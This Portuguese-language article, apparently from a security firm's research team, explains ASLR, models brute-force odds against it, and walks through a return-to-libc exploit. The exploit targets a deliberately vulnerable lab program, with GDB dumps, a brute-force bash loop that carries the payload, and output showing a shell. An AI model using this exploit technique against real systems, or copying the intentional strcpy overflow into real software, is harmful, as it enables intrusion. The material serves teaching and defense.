ASLR - Address Space Layout Randomization

R&D - Conviso Application Security

ASLR - Address Space Layout Randomization

Marcos Alvares 1

3 de janeiro de 2011

Resumo

Certamente o ASLR foi um dos mecanismos de seguranca mais efica-zes na contencao da explosao no numero de exploracoes com sucesso noinicio do seculo 21. Inicialmente foi apresentado como solucao genericapara problemas de buffer overflow. Exploracoes que assumiam que o apli-cativo vulneravel seria carregado em memoria usando blocos de enderecosfixos foram invalidadas. Muito embora, pouco tempo depois tecnicas paraburlar a protecao tenham surgido, o custo para construcao de um exploitfuncional para essa categoria de vulnerabilidade aumentou significativa-mente. As tentativas de exploracao ficaram mais “ruidosas”, evidenciandopadroes de ataques e fornecendo subsıdios para construcao de dispositivosde deteccao automatica. Atualmente, o ASLR e implementado nativa-mente nos sistemas operacionais mais populares. Esse artigo tem por ob-jetivo apresentar um breve (i) historico, (ii) descrever o funcionamento,(iii) apresentar uma analise qualitativa e (iv) apresentar as principaistecnicas utilizadas parar contornar a protecao provida.

1 Definicao e Historico

O ASLR e um mecanismo de seguranca que introduz aleatoriedade no processode alocacao dos segmentos de um processo em memoria. Esse processo e re-alizado toda vez que um aplicativo e executado e carregado em memoria pelosistema operacional. O ASLR foi concebido em 2000 como parte do projetoPage EXec (PaX) [1, 2, 3]. O PaX nada mais e que um patch para o kernel doLinux que agrega diversas caracterısticas de seguranca ao sistema operacional.Algumas solucoes com objetivos similares ao ASLR ja existiam antes de 2000como o StackGuard, StackShield e a LibSafe. Apenas o ASLR foi implementadoe habilitado por padrao nos sistemas operacionais mais populares encontradosno mercado. Em 2005 foi adicionado oficialmente ao nucleo do sistema opera-cional Linux em sua versao 2.6.12. A Microsoft apresentou sua versao um anoapos atraves do Windows Vista.

Devido a aleatoriedade inserida no processo de geracao dos segmentos emmemoria, para localizar enderecos o atacante necessita realizar uma serie detentativas (forca bruta) para uma exploracao de uma vulnerabilidade do tipobuffer overflow com sucesso. Essas tentativas sao ruidosas e susceptıveis a seremclassificadas como tentativas de ataque. Quando implementado em conjuntocom sistemas de monitoracao e reacao, o ASLR pode ser um mecanismo bastanteeficaz para deteccao de tentativas de intrusao.

Para leitura desse artigo e recomendavel conhecimentos basicos de pro-gramacao em C, Assembly Intel x86, exploracao em pilha [4, 5] e depuracaobasica usando o GDB [6, 7]. Apesar de todos os exemplos exibidos nesse artigo

[email protected]

1

serem construıdos usando o sistema operacional GNU Linux, a teoria elabo-rada e aplicavel a qualquer implementacao de ASLR encontrada nos sistemasoperacionais modernos.

2 Contextualizacao Teorica

Nos sistemas operacionais modernos cada processo possui um espaco de en-derecamento privado, isolado e dividido em segmentos com fins especıficos. Doponto de vista do processo e como se esse tivesse todos os recursos fısicos dis-ponıveis para uso exclusivo. A memoria basica ou volatil (RAM) e um dessesrecursos. Quando o usuario solicita a execucao de um determinado aplicativo,um espaco de enderecamento virtual e reservado e o seu binario e carregadonesse espaco. O espaco de enderecamento e segmentado de acordo com o tipodos dados armazenados em cada segmento. Os principais segmentos de umprocesso em memoria sao:

• Dados: segmento onde estao contidas as variaveis estaticas e globais;

• Codigo: possui o codigo de maquina do processo executado;

• Pilha: armazena variaveis locais e referencias para controle de fluxo;

• Heap: regiao que armazena as variaveis alocadas dinamicamente;

• Bibliotecas compartilhadas: mapas de biliotecas ligadas dinamicamente.

O Codigo 1 mostra o espaco de enderecamento e os principais segmentos doprocesso “cat”. Nota-se que o “cat” e um binario ligado dinamicamente a outrasbilbliotecas atraves do “ld-2.11.1.so” (linha 6). Atraves do ld bibliotecas podemser acopladas ao processo em tempo de execucao como a biblioteca mostradana linha 9. O segmento de codigo, onde o executavel e carregado, e encontradona linha 7. Note que esse segmento tem permissao de leitura e execucao masnao de escrita. Esse mecanismo impede que apos o carregamento do binario emmemoria seja possıvel a injecao de conteudo nesse segmento (lıcito ou nao). Porfim, observa-se a os segmentos de pilha e heap nas linhas 12 e 8 respectivamente.

1 mabj@Jarvis:~$ cat /proc/self/maps

2 00652000-00653000 r-xp 00000000 00:00 0 [vdso]

3 00695000-007e8000 r-xp 00000000 08:05 1077606 /lib/tls/i686/cmov/libc-2.11.1.so

4 007e8000-007e9000 ---p 00153000 08:05 1077606 /lib/tls/i686/cmov/libc-2.11.1.so

5 007ec000-007ef000 rw-p 00000000 00:00 0

6 00de3000-00dfe000 r-xp 00000000 08:05 918023 /lib/ld-2.11.1.so

7 08048000-08054000 r-xp 00000000 08:05 557808 /bin/cat

8 09f55000-09f76000 rw-p 00000000 00:00 0 [heap]

9 b75ff000-b763e000 r--p 00000000 08:05 269665 /usr/lib/locale/en_US.utf8/LC_CTYPE

10 ...

11 b7772000-b7774000 rw-p 00000000 00:00 0

12 bfb54000-bfb69000 rw-p 00000000 00:00 0 [stack]

Codigo 1: Espaco de enderacamento correspodente ao processo “cat”.

O componente do sistema operacional responsavel por carregar o executavelem memoria e o loader. O loader recebe o arquivo binario COFF (CommomObject File Format), cria os segmentos mostrados e configura suas respectivaspermissoes. O tamanho e as permissoes de um determinado segmento podemser alterados em tempo de execucao. Um exemplo de criacao de um segmentoem memoria usando o mmap pode ser observado no Codigo 2.

2

12 #define FILEPATH "./example.txt"

3 #define NUMCHARS sizeof("marcos alvares")

4 #define FILESIZE (NUMCHARS * sizeof(int))

56 int main() {7 int fd; char *map;

89 fd = open(FILEPATH, O_RDWR);

1011 map = mmap(NULL, FILESIZE, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0);

1213 map[NUMCHARS - 1] = ’\0’;14 printf("[%s]\n", map);

1516 printf("PID do PROCESSO: [%d]\n\n", getpid());

17 sleep(20000);

18 ...

19 return 0;

20 }

Codigo 2: Criacao de segmento em memoria para leitura e escrita com o conteudode um arquivo em disco.

Na linha 9 um filehandler para o arquivo “example.txt” e criado e seuconteudo e mapeado em memoria usando a funcao mmap() na linha 11. Aspermissoes do segmento sao passadas por parametro para a funcao mmap():“PROT READ | PROT WRITE” (leitura e escrita). Isso significa que nenhumconteudo inserido nesse segmento podera ser executado. Caso ocorra uma ten-tativa de execucao de conteudo o sistema operacional enviara um sinal de falhade segmentacao (SEGFAULT ) para o processo. A string “marcos alvares” (queesta contida no arquivo) e impressa na saıda padrao. Nas linhas 16 e 17 eimpresso o PID na saıda padrao e um sleep() e realizado para que possamosobservar o mapa do processo em memoria (Codigo 3).

1 mabj@Jarvis:~/aslr/doc/examples$ ./example &

2 [marcos alvares]

3 PID do PROCESSO: [3132]

45 mabj@Jarvis:~/aslr/doc/examples$ cat /proc/3132/maps

6 0011e000-0011f000 r-xp 00000000 00:00 0 [vdso]

7 0011f000-00272000 r-xp 00000000 08:05 1077606 /lib/tls/i686/cmov/libc-2.11.1.so

8 00276000-00279000 rw-p 00000000 00:00 0

9 00a1f000-00a3a000 r-xp 00000000 08:05 918023 /lib/ld-2.11.1.so

10 08048000-08049000 r-xp 00000000 08:06 397551 /home/mabj/aslr/doc/examples/example

11 b7816000-b7817000 rw-p 00000000 00:00 0

12 b7817000-b7818000 rw-s 00000000 08:06 397845 /home/mabj/aslr/doc/examples/example.txt

13 b7818000-b781a000 rw-p 00000000 00:00 0

14 bf886000-bf89b000 rw-p 00000000 00:00 0 [stack]

15

Codigo 3: Mapa do processo criado pelo aplicativo mostrado no Codigo 2.

Na linha 20 o arquivo “example.txt” foi mapeado no espaco de enderecamentodo processo “example”. O mapa criado possui permissao para leitura e escrita(“rw-s”). Na coluna a esqueda do mapa do processo encontramos o enderecode cada segmento. Por exemplo, o nosso segmento com o arquivo “example.txt”esta mapeado do endereco 0xb7817000 ate o 0xb7818000 que corresponde aotamanho mınimo de um segmento mapeado que e 4 KB.

Para exemplificar o funcionamento do ASLR vamos executar o processo duasvezes com o mecanismo desabilitado e duas vezes com o mecanismo habilitado.Sem o ASLR os segmentos do processo serao mapeados sempre na mesma faixade enderecos. No Codigo 4, podemos observar o mapa gerado atraves de duasexecucoes da aplicacao sem o ASLR. Nas linhas marcadas de vermelho podemosobservar que nas duas execucoes o aplicativo foi mapeado em memoria com osmesmos enderecos.

3

1 mabj@Jarvis:~/Documents/aslr/doc/examples$ ./example &

2 [2] 5171


4 [3] 5172

56 mabj@Jarvis:~/Documents/aslr/doc/examples$ cat /proc/5171/maps

7 00110000-0012b000 r-xp 00000000 08:05 918023 /lib/ld-2.11.1.so

8 0012d000-0012e000 r-xp 00000000 00:00 0 [vdso]

9 0012e000-00281000 r-xp 00000000 08:05 1077606 /lib/tls/i686/cmov/libc-2.11.1.so

10 00285000-00288000 rw-p 00000000 00:00 0

11 08048000-08049000 r-xp 00000000 08:06 394687 /home/mabj/Documents/aslr/doc/examples/example

12 b7fe8000-b7fe9000 rw-p 00000000 00:00 0

13 b7ffd000-b7ffe000 rw-s 00000000 08:06 397845 /home/mabj/Documents/aslr/doc/examples/example.txt

14 b7ffe000-b8000000 rw-p 00000000 00:00 0

15 bffeb000-c0000000 rw-p 00000000 00:00 0 [stack]


18 00110000-0012b000 r-xp 00000000 08:05 918023 /lib/ld-2.11.1.so

19 0012d000-0012e000 r-xp 00000000 00:00 0 [vdso]

20 0012e000-00281000 r-xp 00000000 08:05 1077606 /lib/tls/i686/cmov/libc-2.11.1.so

21 00285000-00288000 rw-p 00000000 00:00 0


23 b7fe8000-b7fe9000 rw-p 00000000 00:00 0

24 b7ffd000-b7ffe000 rw-s 00000000 08:06 397845 /home/mabj/Documents/aslr/doc/examples/example.txt

25 b7ffe000-b8000000 rw-p 00000000 00:00 0

26 bffeb000-c0000000 rw-p 00000000 00:00 0 [stack]

Codigo 4: Mapas de duas execucoes do mesmo binario criado usando um sistemaoperacional sem ASLR.

A maioria das tecnicas de exploracao de buffer overflow, originalmente,se aproveitavam do fato dos segmentos do processo sempre serem carregadonos mesmos enderecos para redirecionar o fluxo da aplicacao vulneravel. Taistecnicas precisavam de informacoes sobre enderecos especıficos para o seu fun-cionamento como enderecos especıficos na pilha ou enderecos de bibliotecas.Com o objetivo de aumentar a complexidade de contrucao de exploits funcio-nal, tornando os enderecos de pontos estrategicos nao obivios e replicaveis paradiferentes ambientes, o ASLR introduz aleatoriedade no mapa de enderecamentoexibido no Codigo 4. O Codigo 5 mostra o efeito do ASLR sobre o espaco deenderecamento do mesmo binario analisado no exemplo anterior.


2 [4] 5487


4 [5] 5488


7 002f6000-00311000 r-xp 00000000 08:05 918023 /lib/ld-2.11.1.so

8 00595000-00596000 r-xp 00000000 00:00 0 [vdso]

9 008cb000-00a1e000 r-xp 00000000 08:05 1077606 /lib/tls/i686/cmov/libc-2.11.1.so

10 00a22000-00a25000 rw-p 00000000 00:00 0


12 b786a000-b786b000 rw-p 00000000 00:00 0

13 b787f000-b7880000 rw-s 00000000 08:06 397845 /home/mabj/Documents/aslr/doc/examples/example.txt

14 b7880000-b7882000 rw-p 00000000 00:00 0

15 bff65000-bff7a000 rw-p 00000000 00:00 0 [stack]


18 0063f000-00792000 r-xp 00000000 08:05 1077606 /lib/tls/i686/cmov/libc-2.11.1.so

19 00796000-00799000 rw-p 00000000 00:00 0

20 00cf2000-00cf3000 r-xp 00000000 00:00 0 [vdso]

21 00f8b000-00fa6000 r-xp 00000000 08:05 918023 /lib/ld-2.11.1.so


23 b7807000-b7808000 rw-p 00000000 00:00 0

24 b781c000-b781d000 rw-s 00000000 08:06 397845 /home/mabj/Documents/aslr/doc/examples/example.txt

25 b781d000-b781f000 rw-p 00000000 00:00 0

26 bf8db000-bf8f0000 rw-p 00000000 00:00 0 [stack]

Codigo 5: Mapas de duas execucoes do mesmo binario criado usando um sistemaoperacional com ASLR habilitado.

No Codigo 5 observamos que o endereco base da maior parte dos segmen-tos do processo exemplo e afetado pelo ASLR (exceto os segmentos onde saocarregados executavel e dados estaticos).

4

Os exemplos acima foram todos realizados em ambientes que fazem usodo sistema operaciona Linux Ubuntu. A implementacao do ASLR do Linuxfoi inspirada no PaX. Notamos que o ASLR implementado no Linux abrangemenos segmentos que o PaX original. O ASLR implementado no PaX afetaquatro segmentos no processo:

• segmento do executavel principal (codigo, dados e BSS );

• heap;

• pilha;

• segmentos internos ao sistema operacional.

Como podemos notar no Codigo 5, a implementacao encontrada no Linuxnao inclui o segmento do executavel principal. Um detalhe importante de seobservar e que apenas uma parte do endereco base e aleatorizado. O PaX, paraarquitetura Intel x86, 32 bits, para o segmento de pilha temos uma aleatorizacaode 24 bits do endereco base iniciando do quarto bit menos significativo. Parasegmentos criados via mmap() e para os segmentos do executavel principal temosuma aleatorizacao de 16 bits do endereco base iniciando a partir do decimosegundo bit menos significativo. Essa organizacao e tambem aplicada ao Linuxexceto pelo segmento do codigo principal que nao recebe componente aleatorio.

2.1 Probabilidades e Modelo Matematico

Para estudarmos a eficacia do mecanismo de randomizacao do espaco de en-derecamento iremos generaliza-lo atraves de um modelo matematico. Proble-mas que envolvem aleatoriedade podem ser representado atraves de funcoes deprobabilidade. Portanto, vamos definir qual a probabilidade de acerto de um de-terminado endereco em funcao da quantidade de bits escolhidos aleatoriamentepara o endereco base do segmento e quantidade de tentativas.

A equacao de Bernoulli (Equacao 1) de probabilidade em experimentos com-postos, define a probabilidade para que ocorra ao menos “s” ocorrencias de umpadrao dentro de “n” experimentos associados a um mesmo espaco amostral.Onde “p” representa a probabilidade de sucesso e “q” e a probabilidade de falha.

P (B) =

n∑k=s

C(n, k)pkqn−k (1)

C(n, k) =n!

k!(n− k)!(2)

Para a nossa aplicacao, como queremos que o padrao apareca ao menos 1vez, entao “s” sera igual a 1. Observando a equacao de Bernoulli vemos queela e uma especializacao de um Binomio de Newton (Equacao 3) so que sem ocomponente do somatorio onde k = 0.

(x + y)n =

n∑k=0

C(n, k)ykxn−k (3)

5

Combinando as equacoes 1 e 3 chegamos a conclusao que a probabilidade deum evento ocorrer ao menos uma vez e igual a

P (B) = (x + y)n − C(n, 0)y0xn−0 (4)

P (B) = 1− xn (5)

Como “x” e a probabilidade de um evento nao ocorrer usando N bits aleatorios,chegamos a seguinte generalizacao:

P (B) = 1− (1− 1

2N)x (6)

A equacao 6 e a probabilidade de um evento ocorrer ao menos uma vez emx tentativas usando um espaco amostral composto por N bits aleatorios.

Para o caso do ASLR do PaX faz uso de 24 bits aleatorios para formacao doendereco base do segmento de pilha, o espaco amostral e de 224 possibilidades.A probabilidade do atacante adivinhar o endereco base com uma unica tentativapara esse segmento e de aproximadamente 1 em 16.7 milhoes. Isso e uma pro-babilidade muito proxima de zero. So para ser ter uma ideia, a probabilidadede se morrer acertado por um raio e de aproximadamente 1 em 2.32 milhoes.

A medida que sao realizadas multiplas tentativas para achar o valor do en-dereco base a probabilidade aumenta. A tabela abaixo mostra a variacao daprobabilidade de acordo com o numero de tentativas e a quantidade de bitsaleatorios:

Tabela 1: Resultados de probabilidades em funcao da quantidade de tentativas(x) e

o numero de bits aleatorios(N)

N/x 1 4 16 64 256 210 214 218 220 224 232 240

1 0.5 0.94 ≈ 1 ≈ 1 ≈ 1 ≈ 1 ≈ 1 ≈ 1 ≈ 1 ≈ 1 ≈ 1 ≈ 12 0.25 0.68 0.99 ≈ 1 ≈ 1 ≈ 1 ≈ 1 ≈ 1 ≈ 1 ≈ 1 ≈ 1 ≈ 14 0.06 0.23 0.64 0.98 ≈ 1 ≈ 1 ≈ 1 ≈ 1 ≈ 1 ≈ 1 ≈ 1 ≈ 18 ≈ 0 0.02 0.06 0.22 0.63 0.98 ≈ 1 ≈ 1 ≈ 1 ≈ 1 ≈ 1 ≈ 116 ≈ 0 ≈ 0 ≈ 0 ≈ 0 ≈ 0 0.02 0.22 0.98 ≈ 1 ≈ 1 ≈ 1 ≈ 124 ≈ 0 ≈ 0 ≈ 0 ≈ 0 ≈ 0 ≈ 0 ≈ 0 0.02 0.06 0.63 ≈ 1 ≈ 132 ≈ 0 ≈ 0 ≈ 0 ≈ 0 ≈ 0 ≈ 0 ≈ 0 ≈ 0 ≈ 0 ≈ 0 0.63 ≈ 140 ≈ 0 ≈ 0 ≈ 0 ≈ 0 ≈ 0 ≈ 0 ≈ 0 ≈ 0 ≈ 0 ≈ 0 ≈ 0 0.6364 ≈ 0 ≈ 0 ≈ 0 ≈ 0 ≈ 0 ≈ 0 ≈ 0 ≈ 0 ≈ 0 ≈ 0 ≈ 0 ≈ 0

Dependendo da vulnerabilidade, existem tecnicas para aumentar a probabi-lidade de colisao relativa a uma quantidade de bits aleatorios de um enderecobase. Algumas tecnicas atuais ja fazem de artifıcios para explorar com sucessofalhas de buffer overflow em heap e pilha em sistemas operacionais que fazemuso de ASLR. [8, 9, 10].

3 Tecnicas e Estudo de Caso

Nao existe uma tecnica para burlar a protecao oferecida pelo ASLR sem ne-nhuma restricao. A maioria das tecnicas sao baseadas em reducao de entropiaempregada para geracao do endereco base e forca bruta. Uma lista das tecnicasmais populares para exploraracao de vulnerabilidades em sistemas que possuemASLR e:

• Ataque a segmentos nao afetados pelo ASLR;

6

• Forca bruta;

• Tecnicas orientadas a retorno [11];

• Ataque a GOT (Global Offset Table) e a PLT (Procedure Link Table);

• Ataque a .dtors.

Tirando as tecnicas orientadas a retorno, todas as outras sao usadas emconjunto como forca bruta para realizar buscas em todo o espaco de amostralgerado atraves dos bits aleatorios empregados na geracao de cada tipo especıficode segmento. Uma visao geral de todas essas tecnicas pode ser encontrada noartigo de Tilo Muller, ASLR Smack & Laugh Reference [12].

As tecnicas orientadas a retorno exigem condicoes especıficas para exploracaocomo conteudo util no buffer vulneravel (informacoes que revelem o layout dosegmento). A maioria das exploracoes com sucesso em sistemas operacionaismodernos envolvem forca bruta. Abaixo vamos criar uma aplicacao com umavulnerabildiade de pilha e em seguida descreveremos passo-a-passo a exploracaodessa falha atraves da tecnica de return-to-libc [13, 14]. Iremos fazer uso dasessao de dados do binario (variaveis globais e estaticas inicializadas) e carac-terıstica das regioes mapeadas em memoria atraves mmap() usarem apenas 16bits aleatorios.

Segundo a Tabela 1, para 16 bits aleatorios precisamos realizar no maximo220 (1.048.576) tentativas para conseguirmos adivinhar um endereco especıfico.O Codigo 9 apresenta a aplicacao de prova-de-conceito que possui uma vulne-rabilidade de buffer overflow na pilha.

1 #include <stdio.h>

2 #include <stdlib.h>

3 #include <string.h>

45 static const char string[] = "/bin/sh";

67 void function(char *param) {8 char buffer[16];

9 strcpy(buffer, param);

10 }1112 int main(int argc, char *argv[]) {13 printf("Global string: [%s], Address: [%#x]\n\n", string, (unsigned int) string);

14 function(argv[1]);

15 return 0;

16 }

Codigo 6: Codigo de prova-de-conceito com vulnerabilidade de buffer overflow napilha.

Podemos observar na linha 5 do Codigo 9 que foi criada uma variavel globale estatica que armazena uma string com o conteudo “/bin/sh”. Atraves doCodigo 5, podemos constatar que a regiao “.data” do binario nao e afetada peloASLR do Linux (kernel na versao 2.6.32-26). Isso significa que podemos usar oendereco da string no nosso ataque na libc (16 bits) atraves da vulnerabilidadeencontrada na linha 8.

Na pilha, durante a execucao de function, apos o preenchimento do buffere encontrado o contexto da funcao main salvo atraves do EBP (base pointer)e o ponto de retorno (endereco da proxima instrucao em main a ser executadaapos o termino de function). Atraves do strcpy e da variavel buffer, vamossobrescrever esse contexto para substituir o endereco de retorno pelo endereco

7

da funcao system da libc (endereco aleatorio) e o EBP pelo endereco da variavelstring (que nao e afetado pelo ASLR).

Para compilar o nosso exemplo precisamos desabilitar o mecanismo de protecaoa pilha baseado em canarios oferecido pela libc. Esses mecanismos de protecaoda libc serao estudados em detalhes em artigos futuros.

mabj@Jarvis$ gcc -fno-stack-protector -ggdb -o bug01 bug01.c

Codigo 7: Comando para compilacao do codigo de prova-de-conceito.

Podemos observar que na linha 13 do nosso exemplo e impresso em tela oconteudo e endereco da variavel string. Nao importa a quantidade de vezes queexecutemos o processo bug01 esse endereco nao ira mudar.

mabj@Jarvis$ ./bug01 A

Global string: [/bin/sh], Address: [0x8048530]





Codigo 8: Verificacao do endereco da variavel string.

Vamos executar o nosso exemplo passando como entrada uma quantidadesuperior a 16 catacteres como parametro de entrada. Essa entrada sera copiadasem nenhuma verificacao para a variavel buffer atraves do strcpy(). O contextode main que esta armazenado na pilha sera soberscrito e o software receberauma falha de segmentacao ao tentar restaurar esse contexto durante a finalizacaoda funcao “function”.

mabj@Jarvis$ ./bug01 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA


Segmentation fault

Codigo 9: Sinal de falha de segmentacao recebido pelo processo apos passarmosstring maior que o tamanho de buffer.

Vamos utilizar o GDB para acharmos a localizacao exata do EBP e do Pontode Retorno, armazenados na pilha durante o armazenamento do contexto demain antes do fluxo de execucao entrar na funcao function. O Assembly demain e de function pode ser observado em Codigo 10 e no Codigo 11.

e preciso determinar o endereco da funcao system() dentro da libc para umaexecucao especıfica. Claro que esse endereco ira variar para toda a execucaoja que temos o ASLR habilitado, mas logo iremos ver como iremos tratar essapeculiaridade atraves de um ataque de forca bruta. De acordo com o Codigo12 a funcao system() esta no endereco 0x00b8a100. Os 8 bits mais significativos

8

1 (gdb) disas main

2 Dump of assembler code for function main:

3 0x0804842e <+0>: push %ebp

4 0x0804842f <+1>: mov %esp,%ebp

5 0x08048431 <+3>: and $0xfffffff0,%esp

6 0x08048434 <+6>: sub $0x10,%esp

7 0x08048437 <+9>: mov $0x8048530,%edx

8 0x0804843c <+14>: mov $0x8048538,%eax

9 0x08048441 <+19>: mov %edx,0x8(%esp)

10 0x08048445 <+23>: movl $0x8048530,0x4(%esp)

11 0x0804844d <+31>: mov %eax,(%esp)

12 0x08048450 <+34>: call 0x8048350 <printf@plt>

13 0x08048455 <+39>: mov 0xc(%ebp),%eax

14 0x08048458 <+42>: add $0x4,%eax

15 0x0804845b <+45>: mov (%eax),%eax

16 0x0804845d <+47>: mov %eax,(%esp)

17 0x08048460 <+50>: call 0x8048414 <function>

18 0x08048465 <+55>: mov $0x0,%eax

19 0x0804846a <+60>: leave

20 0x0804846b <+61>: ret

21 End of assembler dump.

Codigo 10: Assembly correspondente a funcao main do programa analizado.

1 (gdb) disas function

2 Dump of assembler code for function function:

3 0x08048414 <+0>: push %ebp

4 0x08048415 <+1>: mov %esp,%ebp

5 0x08048417 <+3>: sub $0x28,%esp

6 0x0804841a <+6>: mov 0x8(%ebp),%eax

7 0x0804841d <+9>: mov %eax,0x4(%esp)

8 0x08048421 <+13>: lea -0x18(%ebp),%eax

9 0x08048424 <+16>: mov %eax,(%esp)

10 0x08048427 <+19>: call 0x8048340 <strcpy@plt>

11 0x0804842c <+24>: leave

12 0x0804842d <+25>: ret

13 End of assembler dump.

Codigo 11: Assembly correspondente a funcao function do programa analizado.

do endereco nao tem problema de ser um NULL (“\0”), porem os 8 bits menossignificativos serem NULL compromete nosso ataque2.

1 (gdb) break main

2 Breakpoint 1 at 0x8048437: file bug01.c, line 12.

3 (gdb) r

4 Starting program: bug01

56 Breakpoint 1, main (argc=1, argv=0xbf877c24) at bug01.c:12

7 12 printf("Global string: [%s], Address: [%#x]\n\n", string, (unsigned int) string);

8 (gdb) disas system

9 Dump of assembler code for function __libc_system:

10 0x00b8a100 <+0>: sub $0xc,%esp

11 0x00b8a103 <+3>: mov %esi,0x4(%esp)

12 0x00b8a107 <+7>: mov 0x10(%esp),%esi

13 0x00b8a10b <+11>: mov %ebx,(%esp)

14 ...

15 (gdb) x/i 0x00b8a100 - 4

16 0x00b8a0fc: add %al,(%eax)

Codigo 12: Localizacao da funcao system() da libc.

Para evitar o NULL encontrado no endereco de system verificamos qual ainstrucao que e executada imediatamente antes desse endereco. Para a nossasorte e realizada apenas uma adicao envolvendo o registrador EAX, que nao irainfluenciar o comportamento “macro” da nossa funcao system(). Para o nossoataque iremos considerar “0x00b8a0fc” como o endereco de system().

Para o calculo do tamanho exato para o payload de forma a sobrescrever oEBP e o return point, vamos inserir 3 breakpoints (Codigo 14).

Executando o nosso exemplo usando 8 “As” como entrada podemos extrairas informacoes que precisamos. No primeiro breakpoint conseguimos coletar

2NULL ou “\0” e a palavra chave para indicar fim de string

9

1 (gdb) break *(main+47)

2 Breakpoint 2 at 0x804845d: file example_region.c, line 15.

3 (gdb) break *(function+24)

4 Breakpoint 3 at 0x804842c: file example_region.c, line 10.

5 (gdb) break *(function+25)

6 Breakpoint 4 at 0x804842d: file example_region.c, line 10.

7 (gdb) i b

8 Num Type Disp Enb Address What

9 2 breakpoint keep y 0x0804845d in main at example_region.c:15

10 3 breakpoint keep y 0x0804842c in function at example_region.c:10

11 4 breakpoint keep y 0x0804842d in function at example_region.c:10

Codigo 13: Definicao de tres breakpoints para fins de depuracao.

o EBP no contexto da funcao main que e igual a 0xbfe33a98. No segundobreakpoint pedimos para o GDB exibir 20 double words (32 bytes) a partir doendereco do topo da pilha (esp). Podemos destacar a localizacao onde estao odado inserido na variavel buffer os 8 “A”s (“0x41” do endereco 0xbfe33060 ate0xbfe33068).

1 (gdb) r AAAAAAAA

2 Starting program: bug01 AAAAAAAA

34 Breakpoint 2, 0x0804845d in main (argc=2, argv=0xbfe33b44) at bug01.c:15

5 15 function(argv[1]);

67 (gdb) i r $ebp

8 ebp 0xbfe33a98 0xbfe33a98

9 (gdb) c

10 Continuing.

1112 Breakpoint 3, function (param=0xbfe3550d "AAAAAAAA") at bug01.c:10

13 (gdb) x/20x $esp

14 0xbfe33a50: 0xbfe33a60 0xbfe3550d 0xbfe33a78 0x00157160

15 0xbfe33a60: 0x41414141 0x41414141 0x00266400 0x08048538

16 0xbfe33a70: 0xbfe33a84 0x00265ff4 0xbfe33a98 0x08048465

17 0xbfe33a80: 0xbfe3550d 0x08048530 0x08048530 0x00265ff4

18 0xbfe33a90: 0x08048480 0x00000000 0xbfe33b18 0x00126bd6

Codigo 14: Execucao do exemplo usando entrada contendo 8 caracteres.

Podemos encontrar tambem na linha 16 o valor do EBP de main salvo napilha (0xbfe33a98), em seguida achamos o ponto de retorno (0x08048465). Secontarmos quantos caracteres devemos inserir na entrada para chegarmos doinicio da variavel buffer ate o inicio do EBP vamos descobrir que precisamos de24 caracteres (de 0xbfe33a60 ate 0xbfe33a78). Entao o nosso payload para ex-plorar essa vulnerabilidade sera composto de 24 caracteres, endereco da variavelstring (ja coletamos e e igual a 0x8048530) seguido pelo endereco da funcaosystem()(0x00b8a0fc).

Sabemos que para cada execucao do nosso exploit temos exatamente 1 chanceem 1.048.576 de acertar o endereco da funcao system() dentro do espaco de en-derecamento destinado para a libc que possui 16 bits aleatorios em seu enderecobase. O objetivo e rodarmos um laco que executa o nosso exploit ate que ocorrauma colisao (um determinado endereco base ocorra novamente). Para isso cria-mos um script shell (Codigo 15) que contamos a quantidade de tentativas paraque o ataque de forca bruta seja efetivo.

Em uma primeira tentativa usando um “Intel(R) Atom(TM) CPU N270 @1.60GHz”, conseguimos sucesso com 9.453 tentativas (Codigo 16).

Para validar estatisticamente o resultado, coletamos os resultados para 32exploracoes com sucesso do nosso exploit e o numero da iteracao que cada umaocorreu. Se coletarmos a media da quantidade de tentativas necessarias parauma exploracao com sucesso chegamos ao numero de 146.35 tentativas (Codigo17). O que e um numero pequeno e torna o ataque viavel.

10

1 #!/bin/bash

23 COUNTER=0

4 while [ 0 ]; do

5 echo "[+] Tentativa $COUNTER"

6 ./bug01 $’AAAAAAAAAAAAAAAAAAAAAAAA\x30\x85\x04\x08\xfc\x70\x16\x00’;7 let COUNTER=COUNTER+1

8 done;

Codigo 15: Exploit para o bug01.

1 mabj@Jarvis$ ./exploit.sh

23 ...

45 Segmentation fault

6 [+] Tentativa 9452

7 Global string: [/bin/sh], Address: [0x8048530]

89 Segmentation fault

10 [+] Tentativa 9453

11 Global string: [/bin/sh], Address: [0x8048530]

1213 $ [BINGO]

Codigo 16: Execucao do exploit para o bug01.

1 Sucesso de explorac~ao nas tentativas: [

2 1130, 12998, 15906, 18930, 23886, 26342, 32985,

3 34366, 48500, 51381, 51401, 62373, 72270, 75773,

4 76226, 77321, 78621, 78974, 80234, 84299, 85332,

5 88937, 91015, 94803, 95029, 95165, 95833, 97285,

6 99669, 101471, 110756, 111518

7 ]

8 Quantidade de tentativas em cada explorac~ao: [

9 1130, 11868, 2908, 3024, 4956, 2456, 6643,

10 1381, 14134, 2881, 20, 10972, 9897, 3503,

11 453, 1095, 1300, 353, 1260, 4065, 1033,

12 3605, 2078, 3788, 226, 136, 668, 1452,

13 2384, 1802, 9285, 762

14 ]

15 Media: [146.349081364829]

Codigo 17: Saıda de script para validacao estatıstica da qualidade da exploracao davulnerabilidade usando o sistema com ASLR habilitado.

Apesar de efetivo, o ataque ainda e bastante ruidoso (causando, em media,146 finalizacoes abruptas do processo). Um desafio para seguranca da in-formacao e a construcao de sistemas de deteccao e reacao automatica parapadroes de eventos relativos a tentativas frustadas de exploracao.

Diversos mecanismos foram propostos desde solucoes baseadas em interrom-per o servico ate intervencoes hıbridas usando firewall. Solucoes para interrom-per o servico nao foi bem aceita por motivos economicos [15]. Muitas vezesuma parada do servico, mesmo que por pouco tempo significa perdas finan-ceiras colossais. Alem da parada do servico nao implicar na solucao imediatada vulnerabilidade. Por isso, empresas de comercio digital preferem assumir orisco de uma invasao bem sucedida do que parar o seu servico. Mecanismoshıbridos baseados em intervencoes atraves de firewall nao sao eficazes devido anatureza distribuida da maioria dos ataques. Fica difıcil determinar a origemdo ataque se cada tentativa de exploracao vier de uma origem diferente. Ata-ques distribuıdos sao cada vez mais frequentes devido ao surgimento de botnetse worms que possuem natureza distribuıda e colaborativa.

11

4 Consideracoes Finais

